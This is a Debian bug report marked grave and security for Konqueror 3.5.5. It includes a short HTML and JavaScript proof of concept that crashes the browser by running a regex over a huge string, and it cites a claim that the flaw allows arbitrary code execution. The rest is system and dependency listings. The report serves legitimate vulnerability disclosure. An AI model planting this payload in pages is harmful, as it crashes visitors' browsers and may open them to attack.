Package: konqueror Version: 4:3.5.5a.dfsg.1-2 Severity: grave Tags: security Justification: user security hole
Konqueror crashes when opening the following page: <html> <head> <script> var reg = /(.)*/; var z = 'Z'; while (z.length <= 8192) z+=z; var boum = reg.exec(z); </script> </head> </html> The original poster claimed this could be used to execute arbitrary code: http://www.securityfocus.com/archive/1/archive/1/451542/100/0/threaded Please mention the CVE id in the changelog -- System Information: Debian Release: 4.0 APT prefers unstable APT policy: (500, 'unstable') Architecture: i386 (i686) Shell: /bin/sh linked to /bin/bash Locale: [EMAIL PROTECTED], [EMAIL PROTECTED] (charmap=ISO-8859-15) Versions of packages konqueror depends on: ii kcontrol 4:3.5.5a.dfsg.1-2 control center for KDE ii kdebase-kio-plugins 4:3.5.5a.dfsg.1-2 core I/O slaves for KDE ii kdelibs4c2a 4:3.5.5a.dfsg.1-5 core libraries and binaries for al ii kdesktop 4:3.5.5a.dfsg.1-2 miscellaneous binaries and files f ii kfind 4:3.5.5a.dfsg.1-2 file-find utility for KDE ii libacl1 2.2.41-1 Access control list shared library ii libart-2.0-2 2.3.17-1 Library of functions for 2D graphi ii libattr1 2.4.32-1 Extended attribute shared library ii libaudio2 1.8-2 The Network Audio System (NAS). (s ii libc6 2.3.6.ds1-8 GNU C Library: Shared libraries ii libfam0 2.7.0-11 Client library to control the FAM ii libfontconfig1 2.4.1-2 generic font configuration library ii libfreetype6 2.2.1-5 FreeType 2 font engine, shared lib ii libgcc1 1:4.1.1-20 GCC support library ii libice6 1:1.0.1-2 X11 Inter-Client Exchange library ii libidn11 0.6.5-1 GNU libidn library, implementation ii libjpeg62 6b-13 The Independent JPEG Group's JPEG ii libkonq4 4:3.5.5a.dfsg.1-2 core libraries for Konqueror ii libpng12-0 1.2.13-4 PNG library - runtime ii libqt3-mt 3:3.3.7-1 Qt GUI Library (Threaded runtime v ii libsm6 1:1.0.1-3 X11 Session Management library ii libstdc++6 4.1.1-20 The GNU Standard C++ Library v3 ii libx11-6 2:1.0.3-4 X11 client-side library ii libxcursor1 1.1.7-4 X cursor management library ii libxext6 1:1.0.1-2 X11 miscellaneous extension librar ii libxft2 2.1.8.2-8 FreeType-based font drawing librar ii libxi6 1:1.0.1-3 X11 Input extension library ii libxinerama1 1:1.0.1-4.1 X11 Xinerama extension library ii libxrandr2 2:1.1.0.2-4 X11 RandR extension library ii libxrender1 1:0.9.1-3 X Rendering Extension client libra ii libxt6 1:1.0.2-2 X11 toolkit intrinsics library ii zlib1g 1:1.2.3-13 compression library - runtime konqueror recommends no packages. -- no debconf information -- To UNSUBSCRIBE, email to [EMAIL PROTECTED] with a subject of "unsubscribe". Trouble? Contact [EMAIL PROTECTED]
